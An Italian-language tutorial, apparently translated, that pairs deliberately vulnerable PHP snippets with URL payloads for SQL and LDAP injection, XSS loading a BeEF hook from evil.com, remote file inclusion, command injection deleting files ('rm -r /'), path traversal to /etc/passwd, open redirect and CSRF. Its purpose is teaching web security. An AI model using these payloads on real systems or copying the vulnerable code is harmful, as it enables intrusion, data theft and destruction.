Hacks che funzionano solo cambiando l'URL
- Un esempio legittimo e uno malevolo
- Alcuni esempi richiedono che la codifica dell'URL funzioni (di solito eseguita automaticamente dal browser)
code:
$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");
exploit (accedi come amministratore senza conoscere la password):
example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--
code:
$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";
exploit (registratori che visitano l'utente come zombi in BeEF ):
example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />
Esecuzione di codice remoto
codice (esempio di Tylerl):
<? include($_GET["module"].".php"); ?>
exploit (scarica ed esegue codice arbitrario):
example.com/?module=frontpage
example.com/?module=pastebin.com/mymaliciousscript
Iniezione comandi
codice:
<?php
echo shell_exec('cat '.$_GET['filename']);
?>
exploit (prova a eliminare tutti i file dalla directory principale):
example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /
Iniezione di codice
codice:
<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
exploit (inject comando phpinfo () che stampa informazioni di attacco molto utili sullo schermo):
example.com/?arg=1
example.com/?arg=1; phpinfo()
Iniezione LDAP
codice:
<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>
exploit (accedi senza conoscere la password dell'amministratore):
example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*
Attraversamento percorso
codice:
<?php
include("./" . $_GET['page']);
?>
exploit (recupera / etc / passwd):
example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd
Attacco reindirizzamento / inoltro
codice:
<?php
$redirectUrl = $_GET['url'];
header("Location: $redirectUrl");
?>
exploit (invia l'utente dalla tua pagina alla pagina diabolica):
example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php
Errore di limitazione dell'accesso agli URL
codice:
N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other
means discover the location of content that should only be accessible while logged in.
sfruttare:
example.com/users/showUser.php
example.com/admins/editUser.php
Falsificazione richiesta tra siti
codice:
N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages.
sfruttare:
Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500destinationAccount=evilAccount#" width="0" height="0" />
Overflow del buffer (tecnicamente accedendo a un URL, ma implementato con metasploit
codice:
N/A. Vulnerability in the webserver code itself. Standard buffer overflow
Exploit (Metasploit + meterpreter?):
http://www.exploit-db.com/exploits/16798/